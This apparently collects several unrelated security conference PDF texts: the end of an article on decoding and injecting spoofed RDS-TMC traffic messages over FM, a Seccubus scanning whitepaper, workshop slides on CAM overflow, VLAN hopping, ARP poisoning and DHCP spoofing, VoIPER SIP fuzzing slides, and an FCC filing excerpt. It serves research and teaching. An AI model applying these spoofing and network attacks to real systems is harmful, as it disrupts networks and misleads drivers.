movlw 00000111b ; RB0-RB2 input / RB3-RB7 output
movwf TRISB ;
Bank0 ; select bank 0
movlw 00000010b ; set voltage at -12V to RS232 ''RX''
movwf PORTA ;
Main
btfsc CLOCK ; wait for clock edge (high -> low)
goto Main ;
movfw PORTB ;
andlw 00000011b ; reads levels on PORTB and send
movwf RAW_data ; data to RS232
call RS232_Tx ;
btfss CLOCK ; wait for clock edge (low -> high)
goto $-1 ;
goto Main
RS232_Tx ; RS232 (19200 baud rate) 8-N-2
; 1 start+8 data+2 stop - No parity
btfsc RAW_data,1
goto Good_qual
goto Bad_qual
Good_qual ;
movlw 00000001b ;
andwf RAW_data,w ; good quality signal
iorlw '0' ; sends '0' or '1' to RS232
movwf RS232_data ;
goto Char_Tx
Bad_qual ;
movlw 00000001b ;
andwf RAW_data,w ; bad quality signal
iorlw '*' ; sends '*' or '+' to RS232
movwf RS232_data ;
Char_Tx
movlw 9 ; (8 bits to transmit)
movwf BIT_counter ; BIT_counter = n. bits + 1
call StartBit ; sends start bit
Send_loop
decfsz BIT_counter, f ; sends all data bits contained in
goto Send_data_bit ; RS232_data
call StopBit ; sends 2 stop bit and returns to
Main
Send_1
goto Delay16
StartBit
Send_0
nop
nop
goto Delay16
StopBit
nop
nop
nop
nop
nop
Send_1
call Delay8
goto Delay16
Send_0_
Send_0
goto Delay16
Send_1_
nop
Send_1
goto Delay16
Send_data_bit
rrf RS232_data, f ; result of rotation is saved in
Skip_if_C ; C FLAG, so skip if FLAG is set
goto Send_zero
call Send_1_
goto Send_loop
Send_zero
call Send_0_
goto Send_loop
;
; 4 / clock = ''normal'' instruction period (1 machine cycle )
; 8 / clock = ''branch'' instruction period (2 machine cycles)
;
; clock normal instr. branch instr.
; 2.4576 MHz 1.6276 us 3.2552 us
;
Delay16
movlw 2 ; dummy cycle,
movwf dummy_counter ; used only to get correct delay
; for timing.
decfsz dummy_counter,f ;
goto $-1 ; Total delay: 8 machine cycles
nop ; ( 1 + 1 + 1 + 2 + 2 + 1 = 8 )
Delay8
movlw 2 ; dummy cycle,
movwf dummy_counter ; used only to get correct delay
; for timing.
decfsz dummy_counter,f ;
goto $-1 ; Total delay: 7 machine cycles
; ( 1 + 1 + 1 + 2 + 2 = 7 )
Delay1
nop
RETURN ; unique return point
END
; END PROGRAM CODE --------------------
</code>
Using the circuit we assembled we can "sniff" RDS traffic directly on the
serial port using screen, minicom or whatever terminal app you like.
You should configure your terminal before attaching it to the serial port,
the settings are 19200 baud rate, 8 data bits, 2 stop bits, no parity.
# stty -F /dev/ttyS0 19200 cs8 cstopb -parenb
speed 19200 baud; rows 0; columns 0; line = 0; intr = ^C; quit = ^\;
erase = ^?; kill = ^H; eof = ^D; eol = <undef>; eol2 = <undef>;
swtch = <undef>; start = ^Q; stop = ^S; susp = ^Z; rprnt = ^R;
werase = ^W; lnext = ^V; flush = ^O; min = 100; time = 2; -parenb -parodd
cs8 -hupcl cstopb cread clocal crtscts -ignbrk brkint ignpar -parmrk -inpck
-istrip -inlcr -igncr -icrnl -ixon -ixoff -iuclc -ixany -imaxbel -iutf8
-opost -olcuc -ocrnl -onlcr -onocr -onlret -ofill -ofdel nl0 cr0 tab0 bs0
vt0 ff0 -isig -icanon iexten -echo echoe echok -echonl -noflsh -xcase
-tostop -echoprt echoctl echoke
# screen /dev/ttyS0 19200
1010100100001100000000101000*000101001+11101111011111111110000001011011100
10101001++000001100101100*110100101001000011000000111010000100101001111111
0011101100010011000100000+000000000 ... <and so on>
As you can see we get '0' and '1' as well as '*' and '+', this is because
the circuit estimates the quality of the signal. '*' and '+' are bad
quality '0' and '1' data. We ignore bad data and only accept good quality.
Bad quality data should be ignored, and if you see a relevant amount of '*'
and '+' in your stream verify the tuner settings.
In order to identify the beginning of an RDS message and find the right
offset we "lock" against the PI code, which is present at the beginning of
every RDS group. PI codes for every FM radio station are publicly available
on the Internet, if you know the frequency you are listening to then you
can figure out the PI code and look for it. If you have no clue about what
the PI code might be a way for finding it out is seeking the most recurring
16 bit string, which is likely to be the PI code.
Here's a single raw RDS Group with PI 5401 (hexadecimal conversion of
101010000000001):
0101010000000001111101100100000100001010001100101100000000100001010000001100
1001010010010000010001101110
Let's separate the different sections:
0101010000000001 1111011001 0000 01 0 0001 01000 1100101100
0000001000010100 0000110010 0101001001000001 0001101110
PI code Checkword Group B0 TP PTY <5 bits> Checkword Data
Checkword Data Checkword
So we can isolate and identify RDS messages, now you can either parse them
visually by reading the specs (not a very scalable way we might say) or use
a tool like our Simple RDS Decoder.
--[ 6. Simple RDS Decoder 0.1
The tool parses basic RDS messages and 0A Group (more Group decoding will
be implemented in future versions) and performs full decoding of Single
group RDS-TMC messages (Multi Group support is also planned for future
releases).
Here's the basic usage:
# ./srdsd -h
Simple RDS-TMC Decoder 0.1 || http://dev.inversepath.com/rds
Copyright 2007 Andrea Barisani || <[email protected]>
Usage: ./srdsd.pl [-h|-H|-P|-t] [-d <location db path>] [-p <PI number>]
<input file>
-t display only tmc packets
-H HTML output (outputs to /tmp/rds-*.html)
-p PI number
-P PI search
-d location db path
-h this help
Note: -d option expects a DAT Location Table code according to TMCF-LT-EF-
MFF-v06
standard (2005/05/11)
As we mentioned the first step is finding the PI for your RDS stream, if you
don't know it already you can use '-P' option:
# ./srdsd -P rds_dump.raw | tail
0010000110000000: 4140 (2180)
1000011000000001: 4146 (8601)
0001100000000101: 4158 (1805)
1001000011000000: 4160 (90c0)
0000110000000010: 4163 (0c02)
0110000000010100: 4163 (6014)
0011000000001010: 4164 (300a)
0100100001100000: 4167 (4860)
1010010000110000: 4172 (a430)
0101001000011000: 4185 (5218)
Here 5218 looks like a reasonable candidate being the most recurrent
string. Let's try it:
# ./srdsd -p 5218 -d ~/loc_db/ rds_dump.raw
Reading TMC Location Table at ~/loc_db/:
parsing NAMES: 13135 entries
parsing ROADS: 1011 entries
parsing SEGMENTS: 15 entries
parsing POINTS: 12501 entries
done.
Got RDS message (frame 1)
Programme Identification: 0101001000011000 (5218)
Group type code/version: 0000/0 (0A - Tuning)
Traffic Program: 1
Programme Type: 01001 (9 - Varied Speech)
Block 2: 01110
Block 3: 1111100000010110
Block 4: 0011000000110010
Decoded 0A group:
Traffic Announcement: 0
Music Speech switch: 0
Decoder Identification control: 110 (Artificial Head / PS char
5,6)
Alternative Frequencies: 11111000, 00010110 (112.3, 89.7)
Programme Service name: 0011000000110010 (02)
Collected PSN: 02
...
Got RDS message (frame 76)
Programme Identification: 0101001000011000 (5218)
Group type code/version: 1000/0 (8A - TMC)
Traffic Program: 1
Programme Type: 01001 (9 - Varied Speech)
Block 2: 01000
Block 3: 0101100001110011
Block 4: 0000110000001100
Decoded 8A group:
Bit X4: 0 (User message)
Bit X3: 1 (Single-group message)
Duration and Persistence: 000 (no explicit duration given)
Diversion advice: 0
Direction: 1 (-)
Extent: 011 (3)
Event: 00001110011 (115 - slow traffic (with average speeds Q))
Location: 0000110000001100 (3084)
Decoded Location:
Location code type: POINT
Name ID: 11013 (Sv. Grande Raccordo Anulare)
Road code: 266 (Roma-Ss16)
GPS: 41.98449 N 12.49321 E
Link:
http://maps.google.com/maps?ll=41.98449,12.49321&spn=0.3,0.3&q=41.98449,12.4
9321
...and so on.
The 'Collected PSN' variable holds all the character of Programme Service
name seen so far, this way we can track (just like RDS FM Radio do) the
name of the station:
# ./srdsd -p 5201 rds_dump.raw | grep "Collected PSN" | head
Collected PSN: DI
Collected PSN: DIO1
Collected PSN: DIO1
Collected PSN: RADIO1
Collected PSN: RADIO1
Check out '-H' switch for html'ized output in /tmp (which can be useful for
directly following the Google Map links). We also have a version that plots
all the traffic on Google Map using their API, if you are interested in it
just email us.
--[ 7. Injection circuitry
MiniRDS
(encoder)
--------------
| | I2C BUS cable
| o----------------<<--------->>-------- PC - parallel
| | RDS-TMC port
| (i2c BUS) | raw packet (104 bit)
| in/out |
| |
| RDS output |
| o |
| | |
--|-----------
| \ /
| 57 kHz \ /
| amplitude modulated \ /
| signal \ /
| *
| |
| |
| FM Transmitter |
__|_________________________________ | FM signal
| | | | +
| o RDS/MPX input | | RDS
| | | sub-carrier
| ^ RF part | |
|__________|________ | |
| | | Antenna | |
| PLL v | o | |
| Digital Tuning | |_______________|
|___________________|________________|
The hardware injection setup is composed by a PC, a RDS encoder and a FM
transmitter.
We performed the RDS encoding using a single chip encoder[9] available from
Piratske Radio[10], the core of this encoder is a programmed microcontroller
type 18F12[11]. The chip holds a RAM memory and an EEPROM memory for data
storage during power-off, both memory areas are accessible using the serial
I2C protocol since the PIC fully implements an I2C BUS specifications.
Commands and control byte sequences are described in the product data-sheet.
Here we show the schema for the cable needed to connect I2C BUS in/out pins
on the encoder to the PC parallel port, the pinning here is consistent with
the our driver code[12].
(*)
[ i2c cable connector ] -----|>|---o pin 6 SDA out
|
SDA o------------------------o-----------o pin 12 SDA in
SCL o------------------------------------o pin 5 SCL
GND o------------------------------------o pin 25 GND
( RDS ENCODER ) ( PC - LPT )
DB-25 connector
(*) switching diode - 1N4148
Our *CRUDE* (Code Rushed and Ugly due to unexpected DEadline) driver code
allows easy write and read access of the encoder memory and command sending
to the device. You can use the information gathered from our decoder
application for crafting whatever RDS-TMC packet you might need.
The output of the encoder module is an amplitude modulated signal centered
on 57 kHz, this signal is ready to be attached as MPX/RDS input to the FM
transmitter.
Almost every FM transmitter is suitable for TMC injection, the only
important requirement is frequency stability. An unstable transmitter
doesn't allow proper broadcasting of the RDS data stream, this is because a
sensible frequency spreading of the RDS sub-carrier will result in a great
number of corrupted data blocks on the receiving demodulator.
Thus, if you plan to build your own transmitter we advice you to integrate
in your device a PLL circuit to properly lock on the selected frequency.
The transmitter we built includes a digital tuner based on the SAA1057[13]
Radio tuning PLL frequency synthesizer. Our transmitter also offers an
audio part suitable to hook external MICs or other audio peripherals, that's
very useful to testing purposes.
Moreover the RF part holds an MPX/RDS input suitable to attach directly the
RDS encoder module signal, it's also possible to mix together an extra
audio component with the RDS signal using a simple mixer circuit.
Detailed scheme for a sample FM transmitter is available from the Piratske
Radio website. In the site you can also find useful information if you plan
to build your own TX antenna. This is not the only FM transmitter you can
use, there are many resource available on the Internet that can easily allow
whatever FM transmitter you might need for any purpose.
--[ I. References
[1] - Italian RDS-TMC Location Table Database
https://www2.ilportaledellautomobilista.it/info/infofree?idUser=1&idBody=14
[2] - Philips FM1216 DataSheet
http://pvr.sourceforge.net/FM1216.pdf
[3] - PVR Hardware Database
http://pvrhw.goldfish.org
[4] - SGS-Thompson Microelectronics TDA7330
http://www.datasheetcatalog.com/datasheets_pdf/T/D/A/7/TDA7330.shtml
[5] - Philips SAA6579
http://www.datasheetcatalog.com/datasheets_pdf/S/A/A/6/SAA6579.shtml
[6] - uJDM PIC Programmer
http://www.semis.demon.co.uk/uJDM/uJDMmain.htm
[7] - Maxim RS-232
http://www.maxim-ic.com/getds.cfm?qv_pk=1798&ln=en
[8] - Xcircuit
http://xcircuit.ece.jhu.edu
[9] - MiniRDS encoder chip (MRDS192)
http://www.pira.cz/rds/mrds192.pdf
[10] - Piratske Radio website - RDS section
http://www.pira.cz/rds/index.htm
[11] - Microchip PIC 18F1220
http://ww1.microchip.com/downloads/en/DeviceDoc/39605F.pdf
[12] - MiniRDS driver code
http://dev.inversepath.com/rds/i2c_minirds.tar.gz
[13] - Philips SAA1057 - Radio tuning PLL frequency synthesizer
http://www.datasheetcatalog.net/de/datasheets_pdf/S/A/A/1/SAA1057.shtml
--[ II. Links
- Project directory
http://dev.inversepath.com/rds
|=[ EOF ]=---------------------------------------------------------------=| | pdf |
Seccubus
Repeated vulnerability scans made easy
for:
Public release
date:
18 March 2010
version:
1.0
author:
Frank Breedijk
status:
Public
D
R
A
F
T
for
Public release
title Seccubus
version 1.0
2
date 18 March 2010
PUBLIC
author
Frank Breedijk
Table of contents
1 Introduction
3
1.1 What is a vulnerability scanner?
3
1.2 Why scan?
3
2 More scanning, more work?
5
2.1 How does Seccubus improve this?
5
2.2 What is the gain?
5
2.3 Case: Schuberg Philis
6
2.4 Seccubus’ vital statistics
6
3 Conclusion
7
4 About the author
8
D
R
A
F
T
for
Public release
title Seccubus
version 1.0
3
date 18 March 2010
PUBLIC
author
Frank Breedijk
1 Introduction
During my work as security engineer at Schuberg Philis I repeatedly made use of vulnerability
scanners like Nessus and OpenVAS. To me these scanners came across as real power tools
unfortunately they are nowhere near perfect. Every scan results in a ‘report’, in one form or the
other, with a large number of findings. Each of these findings will have to be investigated in order to
determine if the finding is:
1.
an issue
2.
not an issue or
3.
a false positive.
These investigations take time and effort. Because of this involvement in time and effort,
vulnerability scans are often conducted on an ad-hoc basis, e.g. before go-life of an infrastructure or
after a major change. However the dynamics of IT, where change is the only constant, made me want
to regularly perform vulnerability scans. Obviously with the intention to spend as little time and
effort as possible. This challenge has pushed me to write Seccubus, a tool to schedule vulnerability
scans and process their results more easily.
1.1 What is a vulnerability scanner?
In the introduction of this paper I regularly used the term vulnerability scanner, but just to be clear;
what do I mean by vulnerability scanner? A vulnerability scanner is a software program that aims to
find vulnerabilities in software or an infrastructure, often by simulating an attack. Nessus and
OpenVAS are well known vulnerability scanners, these two programs are aimed at finding
vulnerabilities in infrastructures over the network.
Nessus and OpenVAS use a five step approach to finding vulnerabilities:
1.
Determine if an IP address is active on the network. This is done by using technologies such
as ping, arp scan, or a simple port scan.
2.
Try to determine which services are offered by the IP address and which operating system is
used.
3.
Determine if known vulnerabilities are present on the system. Technologies to determine
the presence of vulnerabilities range from comparing the version number of the daemon to
a list of known vulnerable version , but also by performing step 4
4.
Simulate or actually abuse the vulnerability to determine its existence
5.
Report findings.
Known versus unknown
Unfortunately these scanners can only find known vulnerabilities. Known means in this context,
vulnerabilities which have been programmed into the tool. A good penetration tester will, aided by
his human creativity be able to find vulnerabilities for which automated test do not, yet, exist. These
scanners can also impact the availability of the tested infrastructure. No vendor can 100% guarantee
that the test subject will not be adversely affected by the test.
1.2 Why scan?
The potential risk of a vulnerability scan is still used as an argument to not scan at all or to only have
these test performed by a security testing company. While I understand these concerns I can really
D
R
A
F
T
for
Public release
title Seccubus
version 1.0
4
date 18 March 2010
PUBLIC
author
Frank Breedijk
recommend companies and IT departments to perform their own scanning. For two reasons:
A; the risk is not that high
B; anybody can scan you.
Abybody can scan you?
There are plenty of freely available vulnerability scanners and penetration testing tools: Nessus,
OpenVAS, NMAP, Nikto, Metasploit and others can be freely downloaded and thus used by just
about anyone. And, even though it’s illegal to use these tools on an infrastructure without the owner’s
permission, anybody who has ever seen a firewall log knows that just about anything connected to
internet is scanned regularly. You could therefore argue that the information obtained from a scan is
publicly available and since the information is ‘on the street’ you might as well get your own copy.
Scanning dangerous?
When performing a vulnerability scan, one has to weight all aspects of the information security
triangle (Confidentiality, Integrity and Availability). During a scan, the availability of the test subject
may be reduced, but at least cannot be guaranteed 100%; however you will get an accurate picture of
all three aspects of the triangle.
The risk of a negative impact on the availability has to be put in context. If the system is connected to
the internet it is very likely that it has been scanned previously without the oowners knowledge or
consent. Also, it is my experience that these scans do not often significantly disrupt an infrastructure.
In the 4.5 years that I have frequently used these tools, I have only really disrupted an infrastructure
twice. In both cases where was no structural damage to any systems and the scan could be resumed
later with a lowered intensity.
Vulnerability scanning is not the only activity that can cause disruptions to an infrastructure.
Changes e.g. can also have a negative impact. By planning vulnerability scans in the same way as
planned changes, they can often be fitted into the schedule.
D
R
A
F
T
for
Public release
title Seccubus
version 1.0
5
date 18 March 2010
PUBLIC
author
Frank Breedijk
2 More scanning, more work?
Testing an infrastructure for vulnerabilities should not be a one-off activity. Every single IT
infrastructure I know changes. But, even if an infrastructure does not change, the threat landscape
around it changes, e.g. new vulnerabilities are discovered daily. If a system is scanned today, and no
vulnerabilities are found, the same system may turn out to be vulnerable tomorrow when we test it
with and updated scanner.
Performing a vulnerability scan is easy; the vulnerability scanner software itself does most of the
work. Unfortunately analyzing the findings of a scan is a lot of work. I have scanned an infrastructure
with 130 IP addresses that offer no services to the internet. Yet the report generated by the
vulnerability scanner consisted of 52 pages that contained over 400 findings. Even with sufficient
experience with vulnerability scanning digesting such a report takes two hours or more and writing a
formal report would take double that time. Clearly this does not scale well.
2.1 How does Seccubus improve this?
Seccubus is a tool that allows OpenVAS or Nessus vulnerability scans to be executed at set times. But
besides this Seccubus reduces the time needed to analyze subsequent scans of the same
infrastructure by computing the delta between the results of the current and previous scan.
Let say that we are scanning a new infrastructure for the first time, the scanner runs and sends its
results back to Seccubus. Seccubus will produce the standard scanner reports and make them
available for download in the Seccubus web interface.
Besides standard reports, Seccubus will also parse the scan results and put each individual finding in
the web interface and assign it the status ‘New’. It is now up to the assessor to assign a new status to
these findings. ‘No Issue’ if the finding does not pose a security risk or ‘Open’ if the finding does.
After a while, hopefully after some of the findings have been addressed, another scan can be
performed. Seccubus will again import the findings in the web interface, but this time the status is
dependant or the previous scan. Seccubus will change the status of the finding to:
»
New – If finding was not present in previous scan.
»
Changed – If finding was present in previous scan, but has changed
»
Gone – If finding was present in a previous scan, but not in current scan.
Instead of having to examine all findings again, the assessor now only has to deal with the findings
with these three statuses.
2.2 What is the gain?
Automating vulnerability scanning with Seccubus has the following advantages:
»
Scans can be scheduled and start without the need for a human to ‘push the button’;
»
The effectiveness of scanning is improved. Less effort is spent on scanning and more scans
can be done with the same resources;
»
The quality of the analysis improves; since less time is spend on mundane tasks.
D
R
A
F
T
for
Public release
title Seccubus
version 1.0
6
date 18 March 2010
PUBLIC
author
Frank Breedijk
2.3 Case: Schuberg Philis
Since I work at Schuberg Philis we were also the first to use Seccubus in August 2007. We scan all
external IP addresses of all our customers. In total over 4000 IP addresses, resulting in a total of
8777 findings. Without Seccubus we would simply be unable to do this efficiently.
2.4 Seccubus’ vital statistics
Program name: Seccubus
Website: www.seccubus.com
Mailing list: [email protected]
License: GPLv3
Copyright holder: Schuberg Philis
Author: Frank Breedijk
Support: Via website and mailing list
Downloads so far (March 2010): 2370
D
R
A
F
T
for
Public release
title Seccubus
version 1.0
7
date 18 March 2010
PUBLIC
author
Frank Breedijk
3 Conclusion
Seccubus automates execution and analysis of vulnerability scans so more scans can be performed
with the same resources while maintaining accuracy. More scanning can be performed in less time.
Because infrastructures can be scanner more often, more vulnerabilities are identified and
remediated. This means the overall security is increased.
D
R
A
F
T
for
Public release
title Seccubus
version 1.0
8
date 18 March 2010
PUBLIC
author
Frank Breedijk
4 About the author
Frank Breedijk B ICT is currently employed as Mission Critical Engineer Security at Schuberg Philis,
a leader in mission critical outsourcing services. He is responsible for the technical information
security of Schuberg Philis’ services, including security awareness, vulnerability management,
internal security consultancy and technical audits and the development of Seccubus.
Frank has been professionally active in IT since 1997 when he stared as a programmer for PTS
Software. His career in IT security stared in 2000 when he became ICT Security Officer for
InterXion. Frank has worked as IT security consultant and managed Unisys’ Security Operation
Center for managed security for EMEA.
Besides his day job Frank is active on Twitter as @Seccubus, writes blog entries for
www.Cupfighter.net and develops and maintains Seccubus.
He can be reached via his Twitter account or email him at [email protected] | pdf |
HackingDojo.com
HackingDojo.com
Education
Masters Degrees in Computer Security:
▪ Computer Science
▪ Management
Author since 2007
Professional Penetration Testing
Ninja Hacking
Netcat Power Tools
Penetration Testing’s Open Source Toolkit, V2
Certifications
ISSMP, CISSP, SCSECA, SCNA, SCSA, IEM/IAM
HackingDojo.com
Education
The George Washington University (MA)
University of Redlands (BA)
Author multiple articles
Network Forensics: The Tree in the Forest
The Security Consulting Sugar High
Hack First, Policy Second – A mobile Device Story
Certifications
CISSP
CCISO
Certified Computer Forensic Specialist
HackingDojo.com
Learn how to use Kali Linux to attack network
protocols
CAM Table Overflow
VLAN Hopping
ARP Poisoning
DHCP Spoofing
If you know how to do this, please give up your
seat so others can join in (assuming we have a
full class)
HackingDojo.com
Pre-installed Kali Linux
Prefer to have it as the main OS, not virtualized
CAT5 cable of sufficient length
We didn’t know in advance how the rooms would
be, so please bear with us when we get everyone
connected
Patience
4 hours, 4 tasks, a LOT of network congestion
This is a HOSTILE NETWORK!!
HackingDojo.com
Do / Don’t
Everyone is here to learn, so don’t impede others
Embrace other people’s genius
Workshop = Group Effort, work as a team
Workshop != Taking over someone else’s keyboard
We’re here to learn, not be pedantic over terms
HackingDojo.com
Content Addressable Memory Table
Layer 2 (Switch)
Records MAC addresses and saves them for
switching purposes
HackingDojo.com
HackingDojo.com
Overflow it, and have no mercy!
When CAM table fills up, it pushes all data out all
ports*
Essentially, you turn a Switch (L2) into a Hub (L1)
#macof <- tool of choice
Collect the data
Need to collect the packets as it leaves the switch
Wireshark is probably the best-known tool, but
any pcap capturing app will work
HackingDojo.com
Good to use when ARP Spoofing is:
monitored or blocked
Too much traffic across the network
Want to attack system on your switch, not
within the Broadcast Domain
HackingDojo.com
DEMO
Hands-on lab
Start next topic at top of the hour
HackingDojo.com
Virtual Local Area Network (VLAN)
Broadcast Domain
Allows multiple broadcast domains on a single
switch
HackingDojo.com
Not going to discuss Trunking Protocol Attack
Double Tagging requires us to be on VLAN1
HackingDojo.com
Not going to discuss Trunking Protocol Attack
Double Tagging:
Requires us to be on VLAN1
Adds the target VLAN between payload and VLAN1 tag
Once the VLAN 1 tag gets stripped, the second switch
reads the VLAN 20 tag
Why does this work? No tag = VLAN 1
HackingDojo.com
Time to crush your hopes
Double Tagging only works one way
All attacks are blind – the target server follows the
rules
Attack options include:
▪ Reflective
▪ DoS
Reference:
https://www.sans.org/reading-
room/whitepapers/networkdevs/virtual-lan-security-
weaknesses-countermeasures-1090
HackingDojo.com
You have the ability to redirect the attack
Proof of concept
DoS
HackingDojo.com
DEMO
Hands-on lab
Start next topic at top of the hour
HackingDojo.com
Types of Poisoning
ARP
ICMP
DHCP
Port Stealing
Perform Man-in-the-Middle Attack
Need to be able to collect packets
Limited to BROADCAST DOMAIN only
HackingDojo.com
Trick question:
Which OSI Model layer does it reside in?
We are going to pretend and just say Layer 2
Easier on the mind to just play dumb
What does it do?
Takes IP addresses and resolves them to MAC
addresses
HackingDojo.com
We can pick two (or more systems) and
poison their ARP table
Typically the targets are:
The Default Gateway
Everyone else in the Broadcast Domain
HackingDojo.com
Warnings!
When using ettercap, don’t use <CTRL>-C to stop
the attack
Remote internal pentests are a PAIN!! RDP stops
working when you use ettercap (hint: “timeout”)
Start slow – you can impact production
When conducting a pentest, make sure you’re in a
valid employee subnet
READ THE PCAP FILE – don’t just trust the logs
HackingDojo.com
Any time
I use it at the beginning of a test, and when I want
to target a specific system (admin, etc.)
Start slow
One or two minutes at first, build up from there
once you know you’re not impacting the network
HackingDojo.com
DEMO
Hands-on lab
Start next topic at top of the hour
HackingDojo.com
Saved the worst for last
This will mess up your DHCP Table…
Mess up the network for hours, days…
Great way to create a DoS for a network…
Crosses routers into neighboring networks…
Used to pass bogus information to target
systems, like default gateway
HackingDojo.com
Mandatory Information passed in DHCP Offer:
Client IP address
DHCP Address
Gateway IP Address
…more
Optional information:
Lease Time (Cisco default: one day)
Time Server
Name Server
Domain Name Server
Domain Name
Host Name
HackingDojo.com
HackingDojo.com
To work, we need to either race against the
DHCP Server, or starve out ALL the DHCP
addresses of the valid DHCP Server
As a last resort, only after permission granted
Proof of concept
Small organizations
There will be calls to help desk
HackingDojo.com
DEMO
Hands-on lab
Leave when done
THANKS FOR JOINING US!
Any feedback, please send to
[email protected]
HackingDojo.com | pdf |
Finding VoIP vulnerabilities while you sleep
Background info on VoIP and previous
research
Introduction to VoIPER
Description of some of its features
Some demos and usage examples
The results of my testing
Q&A
From Ireland
Just finished a Bsc in Computer Systems
About to start a Msc in Computer Science
Interested in pretty much anything to do
with hacking, security and computers in
general
http://www.unprotectedhex.com
Using the IP network to route voice data
Can be used exclusively of the traditional
phone network or in tandem
Variety of devices typically involved
Many familiar companies from networking
and telecoms
Cisco
Nortel
Avaya
Seeing steady adoption across the board
~50% of large businesses are using it in
some form in 2008
Why so popular?
Reduced costs – Average of 20% reduction
Location independence
Independence from telcos
SIP
H.323
H.225
H.239
H.245
RTCP
SDP
MGCP
IAX2
Skype
H.460
H.450
RTP
STUN
RSVP
SS7
….and so on
Sponsored by the IETF
Open standard – RFC 3261
Similar in format to HTTP
One of the most popular protocols for
consumer devices
Used for command and control
e.g. session initiation and teardown
Other protocols handle data transfer
e.g. RTP
Carried as the content in certain SIP
requests
Negotiates the codecs to use for the
session
Audio
Video
Extended to cover ‘Fax over IP’ (T.38)
Human readable
Combined with SIP, forms an incredibly
flexible protocol set
INVITE sip:[email protected] SIP/2.0
CSeq: 536870905 INVITE
Via: SIP/2.0/UDP 192.168.3.104:6060;branch=z9hG4bKmj1079uq
From: "VoIPER" <sip:[email protected]:>;tag=hkuybniovshg
Call-ID: jqzedy9kvtrmaw1@TheKlatchianHead
To: "201" <sip:[email protected]>
Content-Type: application/sdp
Content-Length: 378
v=0
o=- 1190505265 1190505265 IN IP4 192.168.3.104
s=Pwning your SIP
c=IN IP4 192.168.3.104
m=audio 5028 RTP/AVP 101
a=rtpmap:101 telephone-event/8000
a=fmtp:101 0-15
ITU sponsored
Dominant in the backbone of voice
networks and large enterprise
deployments
A system specification describing the use
of various other protocols including:
Registration, Admission and Status (H.225)
Call signalling (H.225)
Multimedia control and capability
determination (H.245)
Integrates the voice communications of an
organisation into an environment the
attacker is familiar with
Same protocols, tools and environments
Open standards and accessible devices
Scary as hell when you think about it –
you just moved your entire comms
infrastructure to our playground
Cheers!
Not quite …
Complex operating systems
Functional TCP/IP stack
Run a variety of services
Introduces a whole new attack vector into
your network
Targetted ‘C’ level attacks
Botnets
Eavesdropping
Worms
DoS attacks on communications
infrastructure
Every other attack you get on a TCP/IP
network
Two possible viewpoints
Attacking the protocol design
Authentication
Authorization
Encryption
Attacking the protocol implementation
Aiming to find vulnerabilities leading to DoS or
remote code execution
Performed in the same fashion as an
attack on any network service
Enumeration, scanning, cracking
accounts, MITM attacks, flooding etc.
Using the last X years experience of
attacking TCP/IP based protocols
Threats can be managed using the same
methodologies as any network service
Plenty of tools available
‘Traditional’ ones such as nmap and co.
More specialised ones such as SIPVicious
and VoIPHopper
SIPVicious
Incorporates tools for mapping a network,
finding user accounts and cracking their
passwords
VoIPHopper
Jumping between VLANs
What VoIPER is all about
A number of other tools available
PROTOS
KiF
INTERSTATE
Codenomicon, Mu Dynamics etc
Generally successful at finding bugs
A few drawbacks to each
Some limitations of current tools
Closed source or difficult to acquire
Difficult to extend or modify
Limited test sets
Primitive/No support for crash detection and
other features required for full automation
Cross platform, open source VoIP fuzzing
toolkit
Currently aimed at the SIP and SDP
protocols
Protocol aware backend that can manage
SIP sessions and manipulate the device
under test into different states
Extensive logging, target management
and crash recreation tools
Automation ftw!
~10 ready-to run SIP and SDP fuzzers
Cover the vast majority of their RFCs and
generate well over 200,000 tests
Fire-and-forget - No protocol knowledge
required by the user
Mapped out using the Sulley Fuzzing
Framework
Delivered using the VoIPER SIP core
• Mapping:
s_static("Content-Length: ")
s_dword(512, fuzzable=True,
format=“ascii”)
s_static("\r\n")
• Example header: Content-Length: -1
• Hilariously enough caused a certain VoIP
client to crash
Basic SIP library
SIP user agent
Transaction management system
Collection of pre-made SIP transaction
descriptions
Manipulates the target device into the
required state for the test
Allows the fuzzer to inject fuzz tests into
any part of the protocol state
invite_with_cancel_dict =
{sip_parser.r_SEND :
(invite.valid,
{
sip_parser.r_1XX :
(cancel.valid,
{
sip_parser.r_2XX : (None, None),
sip_parser.r_4XX : (ack.fuzz, None)
}
)
}
)
}
Two types provided
Protocol based
Process based
Essential for full automation of the fuzzing
process
Allows for detailed reporting
Starting/Restarting the target device
Minimises the amount of monitoring and
interaction required
Useful against some devices that suffer
from chronic DoS syndrome
Requires a script running on the target
device
Built on components from Sulley
A crash is useless if we can’t recreate it
on demand!
Post crash logging should allow automatic
recreation of a particular issue
Process based crash detection provides
extra crash info that can help
I’m in ur network breakin ur stuff
So…..did it work?
Initial testing focused on 4 VoIP clients
Ekiga
Gizmo5
Twinkle
NCH Business Talk
Testing SDP and SIP INVITE processing
Plenty of encouragement to test the rest
of the SIP protocol and other devices
Single-packet-o-death crash in all devices
Types of bugs
Null pointer dereferences
Memory corruption
Any product that has the letter ‘NCH’ in its
title should be avoided like the plague
Fuzzer + crash detection + target
management == bug hunting while you
sleep
Possible to start testing essentially any
SIP device in a matter of seconds
Usable by anyone with half a brain
Easily extendable if it doesn’t do exactly
what you want
Thanks
Terron Williams
Everyone else who helped out in the beta
testing
Everyone on STS/OTW that helped out
http://www.unprotectedhex.com
http://www.unprotectedhex.com/voiper-
wiki/
http://voiper.sourceforge.net
Questions? | pdf |
Before the
FEDERAL COMMUNICATIONS COMMISSION
Washington, D.C. 20554
In the Matters of
Unlicensed Operation in the TV Broadcast Bands
Additional Spectrum for Unlicensed Devices
Below 900 MHz and in the 3 GHz Band
ET Docket No. 04-186
ET Docket No. 02-380
COMMENTS OF DELL INC., GOOGLE, INC., THE
HEWLETT-PACKARD COMPANY, INTEL CORP., MICROSOFT
CORP., AND PHILIPS ELECTRONICS NORTH AMERICA CORP.
Scott Blake Harris
Edmond J. Thomas∗
S. Roberts Carter III
HARRIS, WILTSHIRE & GRANNIS LLP
1200 Eighteenth Street, NW
Washington, DC 20036
(202) 730-1300
January 31, 2007
∗ Senior Policy Advisor
Table of Contents
SUMMARY ........................................................................................................................... ii
I. THE COMMISSION SHOULD AUTHORIZE SPECTRUM SENSING TECHNOLOGY TO
ENABLE USE OF LOW POWER UNLICENSED DEVICES IN THE TV WHITE
SPACES.................................................................................................................... 3
A. Spectrum Sensing Offers the Best Solution for Identifying and Utilizing
Available White Spaces.................................................................................... 3
1. Spectrum sensing is a proven, well understood technique. ........................ 4
2. Proposed operating parameters for spectrum sensing................................. 5
B. The Geolocation/Database and Control Signal Approaches are Neither
Practicable nor Desirable.................................................................................. 9
